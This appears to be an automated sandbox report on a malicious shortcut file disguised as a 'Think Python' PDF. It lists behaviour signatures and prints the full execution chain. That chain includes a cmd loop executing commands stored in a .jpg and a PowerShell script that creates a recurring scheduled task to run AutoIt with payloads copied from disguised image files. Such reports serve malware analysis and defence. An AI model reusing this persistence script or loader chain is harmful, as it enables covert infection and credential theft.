Analysis
- max time kernel
142s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
13/06/2024, 01:22
General
- Target ExtractAll/Readme/A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).lnk
- Size 2KB
- Sample240613-brbecasfjn
- SHA256 adcc446e1b1cd00d20c56b3dd654bef51128875a76b24903d18270b09b7da081
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 18 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ExtractAll\Readme\A-Think Python How to Think Like a Computer Scientist, 3rd Edition (True PDF).lnk"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %i in ('dir /b MyCover4.jpg') do @for /f "delims=" %j in (%i) do @%j2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c dir /b MyCover4.jpg3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -noprofile -noninteractive -ExecutionPolicy Bypass sleep 2 ; try{$Lq546qzs = New-Object -ComObject Schedule.Service ; $Plqkjsd ="(Get-CimInstance -ClassName Win32_DiskDrive).Size | Measure-Object -Sum | Select-Object -ExpandProperty Sum"; $Lq546qzs.Connect() ; $MASK = $Lq546qzs.NewTask(0) ; $reginfo = $MASK.RegistrationInfo ;$reginfo.Description = '' ; $reginfo.Author = '' ; $iosdfiu5s = $MASK.Principal; $iosdfiu5s.LogonType = 3 ; $esf5s = $MASK.settings ; $esf5s.Enabled = $true ; $esf5s.StartWhenAvailable = $true ; $esf5s.Hidden = $false ; $esf5s.DisallowStartIfOnBatteries = $false ; $esf5s.StopIfGoingOnBatteries = $false ; $esf5s.MultipleInstances = 2 ; $esf5s.ExecutionTimeLimit = """PT0H""" ; $sqdf = $MASK.Triggers.Create(9); $sqdf.Enabled = $true; $sqdf.Id = """LogonTriggerId"""; $sqdf.Repetition.Interval = """PT5M"""; $sqdf.Repetition.StopAtDurationEnd = $false; $activationTime = (Get-Date).AddMinutes(3); $sqdf.StartBoundary = $activationTime.ToString('yyyy-MM-ddTHH:mm:ss'); $currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent(); $sqdf.UserId = $currentUser.Name; $poqsdjkpoqj5qs5=$MASK.Triggers.Create(2) ; $poqsdjkpoqj5qs5.Enabled=$true ; $poqsdjkpoqj5qs5.Repetition.Interval="""PT10M""" ;$poqsdjkpoqj5qs5.Repetition.StopAtDurationEnd=$false ; $poqsdjkpoqj5qs5.Id="""DailyTriggerId""" ; $poqsdjkpoqj5qs5.StartBoundary = (Get-Date).AddMinutes(1).tostring('yyyy-MM-ddTHH:mm:ss'); $action_ = $MASK.Actions.Create(0) ; $action_.Path = '"""%appdata%\Microsoft\Windows\AutoIt3.exe"""' ; $action_.Arguments = '/ErrorStdOut """%appdata%\Microsoft\Windows\' + $Plqkjsd + '.au3""""'; $Lq546qzs.GetFolder("""\\""").RegisterTaskDefinition("""$Plqkjsd""", $MASK, 6 , $null, $null, 3) ;$Pllds = \"$env:APPDATA\Microsoft\Windows\"; Copy-Item MyCover2.jpeg \"$Pllds\$Plqkjsd.au3\"; Copy-Item MyCover3.jpeg \"$Pllds\AutoIt3.exe\" } Catch [System.Exception]{};"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\attrib.exeattrib -h -s /s /d3⤵
- Views/modifies file attributes
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\AutoIt3.exe /ErrorStdOut "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\274872407040.au3"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_b5rmtd0t.404.ps1
274872407040.au3
AutoIt3.exe
memory/2748-0-0x00007FFD5BCF3000-0x00007FFD5BCF5000-memory.dmp
memory/2748-1-0x00000202CE970000-0x00000202CE992000-memory.dmp
memory/2748-11-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp
memory/2748-12-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp
memory/2748-13-0x00000202CF780000-0x00000202CF7AA000-memory.dmp
memory/2748-14-0x00000202CF780000-0x00000202CF7A4000-memory.dmp
memory/2748-15-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp
memory/2748-20-0x00007FFD5BCF0000-0x00007FFD5C7B1000-memory.dmp
memory/3296-33-0x0000000009230000-0x000000000924A000-memory.dmp
memory/3296-39-0x000000000B8E0000-0x000000000BE84000-memory.dmp
memory/3296-34-0x000000000A5F0000-0x000000000A626000-memory.dmp
memory/3296-35-0x000000000ACB0000-0x000000000B32A000-memory.dmp
memory/3296-36-0x000000000A6D0000-0x000000000A766000-memory.dmp
memory/3296-38-0x000000000A770000-0x000000000A7D6000-memory.dmp
memory/3296-37-0x000000000A630000-0x000000000A652000-memory.dmp
memory/3296-23-0x0000000009280000-0x00000000098A8000-memory.dmp
memory/3296-40-0x000000000A7E0000-0x000000000A7FE000-memory.dmp
memory/3296-41-0x000000000A850000-0x000000000A89A000-memory.dmp
memory/3296-42-0x000000000C290000-0x000000000C5E4000-memory.dmp
memory/3296-43-0x000000000AAB0000-0x000000000AB16000-memory.dmp
memory/3296-44-0x000000000AB50000-0x000000000AB72000-memory.dmp
memory/3296-45-0x000000000B730000-0x000000000B77C000-memory.dmp
memory/3296-46-0x000000000D7A0000-0x000000000D962000-memory.dmp
memory/3296-47-0x000000000DEA0000-0x000000000E3CC000-memory.dmp